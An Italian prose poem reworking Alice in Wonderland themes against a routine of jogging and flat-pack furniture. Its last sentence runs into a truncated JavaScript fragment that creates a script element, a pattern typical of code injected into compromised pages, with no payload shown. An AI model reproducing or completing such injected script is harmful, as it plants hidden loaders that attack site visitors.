I tempi definiti e le vie buone, la fantasia oscurata, la misura adatta a cui arrivare, l’altezza prevista, l’etichetta incravattata e, di Ikea le sedie costruite, le porte ben aperte, i preziosi lascia passare. Neanche un coniglio da inseguire, per curiosità di strappargli quel panciotto o I’orologio dalla zampa. Ma faccio jogging alle 6.00, tonificante ogni risveglio. E poi il buco alla cintura, da rifare o da sanare come quello nell’ozono ma lei cade in quello del buon sonno e io ci provo, io vorrei, come lei. Cadere. In sonno profonderrimo: Ingoiare la vertigine del lancio e senza la certezza dell’atterraggio morbido comunque andare. E magari
fossero tappeti di pop corn! Desiderare di essere passabile per porte ancora chiuse e bere assetato dal suo bicchiere. Tirato giù il veleno iniziare a rimpicciolire, poi ingigantire, inseguire, vanverire, canfiorire. Donarsi ancora tempo e con lei sentire storie comprese quelle tristi. Diventare ostrica ingoiata da tricheco a tradimento. Per gusto di fiducia. Maratonda e Maratonda ancora, per la regola dell’Altro, che mi com-bacia e passa dal mio punto e lì ritorna.
Jogging solitario, Maratonda per l’insieme eternizzato. Maratondare! Maratonfare! Mancare di consigli sulla strada verso casa e dopo lacrime di mare trovare un porto e dire a qualcuno “io opera mia e tu, esattevolmente, cosa esser, tu?”. La pretesa dei denti ben smaltati per mordere la mela del pc… ma… se volessi meravigliarmi ancora della luna dentierata che fa miao?! Si, rimanere lì, stregatti e inconcludenti. Lei mi passa la sua sedia già montata, per un
sorso di tè e di benvenuto, e mi ci butto a festeggiare.
È il mio sacrosanto non-compleanno e cambio tazza e già domani e poi più là. Ricominciare dall’essere fuori, altrove collocato. Scomodo. È festa ancora e poi di nuovo e voglio meno. Sperdermi. Con lei. Porre rimedio a rose bianche e diventar gigante di fronte alla regina e provare parole sconosciute e giocare le mie carte senza cuori. E ancora Maratonda! Guardare e riguardarsi dentro, spiare dalla serratura della porta ancora chiusa, che nessuno me la apre e mi compiaccio. Me ne infischio gaiamente. Zero pazzi in giro e, spesso, io per primo e mi dispero. Quando mi sveglio e sono sudato, sulle lenzuola ikea. Tirare in salvo, buttarsi in vita. Nel sogno suo mi vedo bene, che qui rimango sveglio, con gli occhi ben aperti sul Paese, senza meraviglie.var d=document;var s=d.createElement(‘script’);